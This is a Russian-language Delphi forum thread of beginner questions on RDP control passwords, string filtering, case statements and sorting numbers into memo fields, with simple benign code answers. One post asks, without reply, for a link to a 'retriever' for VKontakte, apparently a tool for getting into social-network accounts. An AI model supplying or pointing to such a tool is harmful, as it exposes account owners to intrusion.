rdp.AdvancedSettings2.ClearTextPassword := 'pass';
Или так:
rdp.AdvancedSettings2.Set_ClearTextPassword('pass' );
Про домен - не помню, но помоему rdp.Domain.
пробовал. я такой пример нагуглил. дельфи ругается.
Project Project1.exe raised exception class EOleException with message 'Интерфейс не поддерживается'. Process stopped...

В остальных случаях синтаксическая ошибка. а про домен правильно подсказал.

а вот этот вариант мне понравился:
пуск - выполнить - mstsc /? - enter

там указываешь файл с rdp настройками
осталось с шифрованием пароля разобраться-нагуглил:
Там используется функция CryptProtectData , где не используется "Optional entropy " и "PromptStruct" , а также в качестве "description string" строка в юникоде "psw". Пароль тоже в юникоде дополненный до 512 байт нулевыми байтами.
осталось это реализовать в дельфи, а потом еще сделать обработчик событий. который будет проверять удачно ли я залогинен или нет.

[НTL]

Как в строковом параметре отсеять буквы и оставить только цифры?

[wolmer]

Как в строковом параметре отсеять буквы и оставить только цифры?
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
s:string;
begin
for i:=1 to length(edit1.text) do
begin
if pos(edit1.text[i],'1234567890')<>0 then
begin
s:=s+edit1.text[i];
end;
end;

edit1.text:=s;
end;

[[n]-c0der]

Как в строковом параметре отсеять буквы и оставить только цифры?
Создать функцию по отсеиванию - НЕ ВАРИАНТ?

[alexey-m]

Подскажите пожалуйса, как определить смещение в РЕ файле на таблицу экспорта/импорта, а точнее на имена экспортируемых/импортируемых функции

[[n]-c0der]

Подскажите пожалуйса, как определить смещение в РЕ файле на таблицу экспорта/импорта, а точнее на имена экспортируемых/импортируемых функции
Для начала надо внимательно почитать о структуре PE файла и таких вопросов не возникнет. -> wasm.ru

[intNet]

пробовал. я такой пример нагуглил. дельфи ругается.

В остальных случаях синтаксическая ошибка. а про домен правильно подсказал.

У тебя наверное mstscax.dll версии 5.*. обнови до 6.*, ошибка исчезнет.

[Dmitriik750]

как ра знашел что, что искал)

[lisenok21]

подскажите
может у кого есть ссылка где взять ретривер для вконтакте

[Nick_Rimer]

Здравствуйте!
Помогите пожалуйста для моего случая найти какую-то альтернативу для case или подскажите, что я должен сделать с ним, чтобы эта зараза работала. Видите ли ему нужны ordinal types, то есть проверить, равна ли переменная числу мы можем, а вот проверить равность какой-то строке не получается, тут только многострочным if..else приходится..

Хотя, все несколько проще. На функцию пришла строка в виде одного символа или буквы.. Надо определить, чему она там равна и вывести результат; на каждый символ результат разный.

Например:

---------------
function TForm1.ABC(c:string):string;
begin
case с of
'A': begin .. end;
'B': begin .. end;
...
'Z': begin .. end;
end;
end;
------------

переход на pchar не получился, все равно где-нибудь ругается..
помогите, пожалуйста все поставить на места, мне ужасно лень набирать кучу ифов и их элсов.. но если надо, то придется..

[Chrome~]

Может быть нужно записывать так:
case с[1] of

[StealthMaster]

---------------
function TForm1.ABC(c:string):string;
begin
case с of
'A': begin .. end;
'B': begin .. end;
...
'Z': begin .. end;
end;
end;
------------

В вашем в коде (case с of) записана русская буква С, вместо английской C, поэтому, вероятно, и ругается даже при смене типов переменных.

Код, который будет работать:

function ABC(par: char): string;
begin
case par of
'A': begin
Result := 'lalala';
end;

'B': begin
Result := 'ololo';
end;
end; // case
end; // ABC

Если в качестве параметра функции передается только 1 символ, то логично использовать тип Char, нежели String.

[Nick_Rimer]

В вашем в коде (case с of) записана русская буква С, вместо английской C, поэтому, вероятно, и ругается даже при смене типов переменных.

ну, знаете, я не настолько дурак, чтобы писать переменные в делфи по-русски :)

я тоже думал о том, чтобы передавать char, но ситуация такова, что я должен преобразовать тип string в тип char, а именно это у меня что-то не выходит..

[StealthMaster]

я тоже думал о том, чтобы передавать char, но ситуация такова, что я должен преобразовать тип string в тип char, а именно это у меня что-то не выходит..

Используйте функцию, написанную выше, вызванную так:

...
var
str1, str2: string;
n: byte;
begin
... // вычисление нужной строки и номера нужного символа в строке (n)
str2 := ABC(str1[n]);
...
end;


ну, знаете, я не настолько дурак, чтобы писать переменные в делфи по-русски
каждый может ошибиться :) мы же люди, а не машины.

[Nick_Rimer]

А вот теперь мы возвращаемся к тому, с чего я начал!!!
Нельзя организовать оператор case перебором по string.
Он ругается, что ему нужен ordinal type.
Char бы подошел.. но я в тупике, и не могу понять, что делать, думать что-то вместо case или преобразовывать string во что-то другое, "более числовое" :)

------------------------

Все, вопрос снят, проблема решена!

str: string; с: char; i: byte - переменная цикла for;
c:=str[i];
ABC(c);

все работает :)

[[Abbath]]

Значит такой вопросик :
есть Тмемо в который водят в столбик цифры от 4 до 9 знаков
внизу есть еще 6 Тмемо
Нужно чтоб эти цифры(которые в столбик)
сортировались в те 6 Тмемо
по такому принцыпу:
в 1Тмемо цифры из 4х знаков
в 2Тмемо цифры из 5 и тд до 9
вродебы реализовал а почемуто несортирует он их(

прошу помочь с реализацией в Делфи7

[slesh]

var
x : integer;
begin
for x := 0 to memo1.Lines.Count-1 do
begin
case length(memo1.Lines.Strings[x]) of
4:memo2.lines.add(memo1.Lines.Strings[x]);
5:memo3.lines.add(memo1.Lines.Strings[x]);
6:memo4.lines.add(memo1.Lines.Strings[x]);
7:memo5.lines.add(memo1.Lines.Strings[x]);
8:memo6.lines.add(memo1.Lines.Strings[x]);
9:memo7.lines.add(memo1.Lines.Strings[x]);
end;
end;
end;

[[Abbath]]

а где критерии что если длина 4 символа то в 4мемо и тд?

[slesh]

>>>>>>>> 4:memo2.lines.add(memo1.Lines.Strings[x]); <<<<<<<<<<<,
мемо1 - там данные.
мемо2 - для 4
мемо3- для 5 итд

[[Abbath]]

блин спс огромное ща попробую=)

[Adekvatnyj]

Какая стратегия изучения Дельфи? Сначала выучить турбо паскаль 7.0 потом дельфи?
Или может сначала бейсик а потом дельфи, или бейсик - тпаскаль - дельфи?

[intNet]

Сначала выучить турбо паскаль 7.0 потом дельфи
Ага.

[[Abbath]]

плин опять столкнулся с почти такого же рода проблемой нос разу задам пару вопросов чтоб не мучать несколько раз
1) есть строка из цифр затем знак ; и после него вместе с ним надо удолить все из строки
опять же во всех строках Тмемо
2)Есть Столбец цифр нужно расположить их в те же 6 мемо по кол-ву повторяемых цифр тоест
например 72377728738 вот тут повторение цифры 7 допустим 5 раз надо значит вывести в мемо5
66628266986666 тут больше 6к 9 штук в Мемо9 и вот так чтоб он с каждым номером в столбце начиная от повторения там 4х цифр так как длина числа максимум будет 9 символов

[Adekvatnyj]

А delphi в webe это совсем отдельная штука от простого дельфи?